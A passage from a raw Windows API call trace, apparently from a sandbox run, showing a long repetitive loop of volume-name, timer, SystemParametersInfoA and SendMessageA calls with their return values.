lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.219] WinWatchNotify () returned 0x0 [0141.219] timeGetTime () returned 0x1138857 [0141.219] WinWatchOpen () returned 0x60ca40 [0141.219] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.219] LockResource (hResData=0x0) returned 0x0 [0141.219] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.219] WinWatchNotify () returned 0x0 [0141.219] timeGetTime () returned 0x1138857 [0141.219] WinWatchOpen () returned 0x60ca60 [0141.219] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.219] LockResource (hResData=0x0) returned 0x0 [0141.219] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.219] WinWatchNotify () returned 0x0 [0141.219] timeGetTime () returned 0x1138857 [0141.219] WinWatchOpen () returned 0x60ca80 [0141.219] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.219] LockResource (hResData=0x0) returned 0x0 [0141.219] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.219] WinWatchNotify () returned 0x0 [0141.219] timeGetTime () returned 0x1138857 [0141.219] WinWatchOpen () returned 0x60caa0 [0141.219] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.219] LockResource (hResData=0x0) returned 0x0 [0141.219] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.219] WinWatchNotify () returned 0x0 [0141.219] timeGetTime () returned 0x1138857 [0141.219] WinWatchOpen () returned 0x60cac0 [0141.219] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.219] LockResource (hResData=0x0) returned 0x0 [0141.219] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.219] WinWatchNotify () returned 0x0 [0141.219] timeGetTime () returned 0x1138858 [0141.220] WinWatchOpen () returned 0x60cae0 [0141.220] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.220] LockResource (hResData=0x0) returned 0x0 [0141.220] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.220] WinWatchNotify () returned 0x0 [0141.220] timeGetTime () returned 0x1138858 [0141.220] WinWatchOpen () returned 0x60cb00 [0141.220] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.220] LockResource (hResData=0x0) returned 0x0 [0141.220] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.220] WinWatchNotify () returned 0x0 [0141.220] timeGetTime () returned 0x1138858 [0141.220] WinWatchOpen () returned 0x60cb20 [0141.220] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.220] LockResource (hResData=0x0) returned 0x0 [0141.220] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.220] WinWatchNotify () returned 0x0 [0141.220] timeGetTime () returned 0x1138858 [0141.220] WinWatchOpen () returned 0x60cb40 [0141.220] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.220] LockResource (hResData=0x0) returned 0x0 [0141.220] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.220] WinWatchNotify () returned 0x0 [0141.220] timeGetTime () returned 0x1138858 [0141.220] WinWatchOpen () returned 0x60cb60 [0141.220] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.220] LockResource (hResData=0x0) returned 0x0 [0141.220] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.220] WinWatchNotify () returned 0x0 [0141.220] timeGetTime () returned 0x1138858 [0141.220] WinWatchOpen () returned 0x60cb80 [0141.220] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.220] LockResource (hResData=0x0) returned 0x0 [0141.220] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.220] WinWatchNotify () returned 0x0 [0141.220] timeGetTime () returned 0x1138858 [0141.220] WinWatchOpen () returned 0x60cba0 [0141.220] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.220] LockResource (hResData=0x0) returned 0x0 [0141.220] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.221] WinWatchNotify () returned 0x0 [0141.221] timeGetTime () returned 0x1138859 [0141.221] WinWatchOpen () returned 0x60cbc0 [0141.221] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.221] LockResource (hResData=0x0) returned 0x0 [0141.221] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.221] WinWatchNotify () returned 0x0 [0141.221] timeGetTime () returned 0x1138859 [0141.221] WinWatchOpen () returned 0x60cbe0 [0141.221] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.221] LockResource (hResData=0x0) returned 0x0 [0141.221] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.221] WinWatchNotify () returned 0x0 [0141.221] timeGetTime () returned 0x1138859 [0141.221] WinWatchOpen () returned 0x60cc00 [0141.221] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.221] LockResource (hResData=0x0) returned 0x0 [0141.221] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.221] WinWatchNotify () returned 0x0 [0141.221] timeGetTime () returned 0x1138859 [0141.221] WinWatchOpen () returned 0x60cc20 [0141.221] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.221] LockResource (hResData=0x0) returned 0x0 [0141.221] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.221] WinWatchNotify () returned 0x0 [0141.221] timeGetTime () returned 0x1138859 [0141.221] WinWatchOpen () returned 0x60cc40 [0141.221] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.221] LockResource (hResData=0x0) returned 0x0 [0141.221] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.221] WinWatchNotify () returned 0x0 [0141.221] timeGetTime () returned 0x1138859 [0141.221] WinWatchOpen () returned 0x60cc60 [0141.221] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.221] LockResource (hResData=0x0) returned 0x0 [0141.221] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.221] WinWatchNotify () returned 0x0 [0141.221] timeGetTime () returned 0x113885a [0141.221] WinWatchOpen () returned 0x60cc80 [0141.221] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.221] LockResource (hResData=0x0) returned 0x0 [0141.222] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.222] WinWatchNotify () returned 0x0 [0141.222] timeGetTime () returned 0x113885a [0141.222] WinWatchOpen () returned 0x60cca0 [0141.222] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.222] LockResource (hResData=0x0) returned 0x0 [0141.222] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.222] WinWatchNotify () returned 0x0 [0141.222] timeGetTime () returned 0x113885a [0141.222] WinWatchOpen () returned 0x60ccc0 [0141.222] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.222] LockResource (hResData=0x0) returned 0x0 [0141.222] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.222] WinWatchNotify () returned 0x0 [0141.222] timeGetTime () returned 0x113885a [0141.222] WinWatchOpen () returned 0x60cce0 [0141.222] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.222] LockResource (hResData=0x0) returned 0x0 [0141.222] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.222] WinWatchNotify () returned 0x0 [0141.222] timeGetTime () returned 0x113885a [0141.222] WinWatchOpen () returned 0x60cd00 [0141.222] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.222] LockResource (hResData=0x0) returned 0x0 [0141.222] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.222] WinWatchNotify () returned 0x0 [0141.222] timeGetTime () returned 0x113885a [0141.222] WinWatchOpen () returned 0x60cd20 [0141.222] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.222] LockResource (hResData=0x0) returned 0x0 [0141.222] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.222] WinWatchNotify () returned 0x0 [0141.222] timeGetTime () returned 0x113885a [0141.222] WinWatchOpen () returned 0x60cd40 [0141.222] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.222] LockResource (hResData=0x0) returned 0x0 [0141.222] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.223] WinWatchNotify () returned 0x0 [0141.223] timeGetTime () returned 0x113885b [0141.223] WinWatchOpen () returned 0x60cd60 [0141.223] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.223] LockResource (hResData=0x0) returned 0x0 [0141.223] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.223] WinWatchNotify () returned 0x0 [0141.223] timeGetTime () returned 0x113885b [0141.223] WinWatchOpen () returned 0x60cd80 [0141.223] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.223] LockResource (hResData=0x0) returned 0x0 [0141.223] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.223] WinWatchNotify () returned 0x0 [0141.223] timeGetTime () returned 0x113885b [0141.223] WinWatchOpen () returned 0x60cda0 [0141.223] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.223] LockResource (hResData=0x0) returned 0x0 [0141.223] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.223] WinWatchNotify () returned 0x0 [0141.223] timeGetTime () returned 0x113885b [0141.223] WinWatchOpen () returned 0x60cdc0 [0141.223] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.223] LockResource (hResData=0x0) returned 0x0 [0141.223] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.223] WinWatchNotify () returned 0x0 [0141.223] timeGetTime () returned 0x113885b [0141.223] WinWatchOpen () returned 0x60cde0 [0141.223] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.223] LockResource (hResData=0x0) returned 0x0 [0141.223] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.223] WinWatchNotify () returned 0x0 [0141.223] timeGetTime () returned 0x113885b [0141.223] WinWatchOpen () returned 0x60ce00 [0141.223] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.223] LockResource (hResData=0x0) returned 0x0 [0141.223] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.223] WinWatchNotify () returned 0x0 [0141.223] timeGetTime () returned 0x113885c [0141.223] WinWatchOpen () returned 0x60ce20 [0141.223] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.223] LockResource (hResData=0x0) returned 0x0 [0141.224] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.224] WinWatchNotify () returned 0x0 [0141.224] timeGetTime () returned 0x113885c [0141.224] WinWatchOpen () returned 0x60ce40 [0141.224] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.224] LockResource (hResData=0x0) returned 0x0 [0141.224] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.224] WinWatchNotify () returned 0x0 [0141.224] timeGetTime () returned 0x113885c [0141.224] WinWatchOpen () returned 0x60ce60 [0141.224] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.224] LockResource (hResData=0x0) returned 0x0 [0141.224] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.224] WinWatchNotify () returned 0x0 [0141.224] timeGetTime () returned 0x113885c [0141.224] WinWatchOpen () returned 0x60ce80 [0141.224] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.224] LockResource (hResData=0x0) returned 0x0 [0141.224] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.224] WinWatchNotify () returned 0x0 [0141.224] timeGetTime () returned 0x113885c [0141.224] WinWatchOpen () returned 0x60cea0 [0141.224] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.224] LockResource (hResData=0x0) returned 0x0 [0141.224] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.224] WinWatchNotify () returned 0x0 [0141.224] timeGetTime () returned 0x113885c [0141.224] WinWatchOpen () returned 0x60cec0 [0141.224] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.224] LockResource (hResData=0x0) returned 0x0 [0141.224] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.224] WinWatchNotify () returned 0x0 [0141.224] timeGetTime () returned 0x113885c [0141.224] WinWatchOpen () returned 0x60cee0 [0141.224] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.224] LockResource (hResData=0x0) returned 0x0 [0141.224] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.225] WinWatchNotify () returned 0x0 [0141.225] timeGetTime () returned 0x113885d [0141.225] WinWatchOpen () returned 0x60cf20 [0141.225] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.225] LockResource (hResData=0x0) returned 0x0 [0141.225] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.225] WinWatchNotify () returned 0x0 [0141.225] timeGetTime () returned 0x113885d [0141.225] WinWatchOpen () returned 0x60cf40 [0141.225] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.225] LockResource (hResData=0x0) returned 0x0 [0141.225] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.234] Escape (in: hdc=0xc, iEscape=19, cjIn=5, pvIn=" à=", pvOut=0x0 | out: pvOut=0x0) returned 0 [0141.234] SendMessageA (hWnd=0x0, Msg=0x101e, wParam=0x1, lParam=0xffff) returned 0x0 [0141.234] SendMessageA (hWnd=0x0, Msg=0x101e, wParam=0x1, lParam=0xffff) returned 0x0 [0141.234] SendMessageA (hWnd=0x0, Msg=0x101e, wParam=0x1, lParam=0xffff) returned 0x0 [0141.234] SendMessageA (hWnd=0x0, Msg=0x101e, wParam=0x1, lParam=0xffff) returned 0x0 [0141.234] SendMessageA (hWnd=0x0, Msg=0x101e, wParam=0x1, lParam=0xffff) returned 0x0 [0141.234] SendMessageA (hWnd=0x0, Msg=0x101e, wParam=0x1, lParam=0xffff) returned 0x0 [0141.234] SendMessageA (hWnd=0x0, Msg=0x101e, wParam=0x1, lParam=0xffff) returned 0x0 [0141.235] SendMessageA (hWnd=0x0, Msg=0x101e, wParam=0x1, lParam=0xffff) returned 0x0 [0141.235] SendMessageA (hWnd=0x0, Msg=0x101e, wParam=0x1, lParam=0xffff) returned 0x0 [0141.235] SendMessageA (hWnd=0x0, Msg=0x101e, wParam=0x1, lParam=0xffff) returned 0x0 [0141.235] SendMessageA (hWnd=0x0, Msg=0x101e, wParam=0x1, lParam=0xffff) returned 0x0 [0141.235] SendMessageA (hWnd=0x0, Msg=0x101e, wParam=0x1, lParam=0xffff) returned 0x0 [0141.235] SendMessageA (hWnd=0x0, Msg=0x101e, wParam=0x1, lParam=0xffff) returned 0x0 [0141.235] SendMessageA (hWnd=0x0, Msg=0x101e, wParam=0x1, lParam=0xffff) returned 0x0 [0141.235] SendMessageA (hWnd=0x0, Msg=0x101e, wParam=0x1, lParam=0xffff) returned 0x0 [0141.235] IsDlgButtonChecked (hDlg=0x0, nIDButton=0) returned 0x0 [0141.235] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0141.235] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0141.235] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0141.235] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0141.235] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0141.235] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0141.235] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0141.235] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0141.235] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0141.235] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0141.235] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0141.235] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0141.235] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0141.235] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0141.235] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0141.235] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0141.235] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0141.235] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0141.235] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0141.235] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0141.235] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0141.235] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0141.235] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0141.235] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0141.235] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0141.236] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0141.236] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0141.236] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0141.236] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0141.236] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0141.236] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0141.236] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0141.236] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0141.236] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0141.236] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0141.236] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0141.236] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0141.236] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0141.236] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0141.236] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0141.236] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0141.236] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0141.236] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0141.236] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0141.236] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, 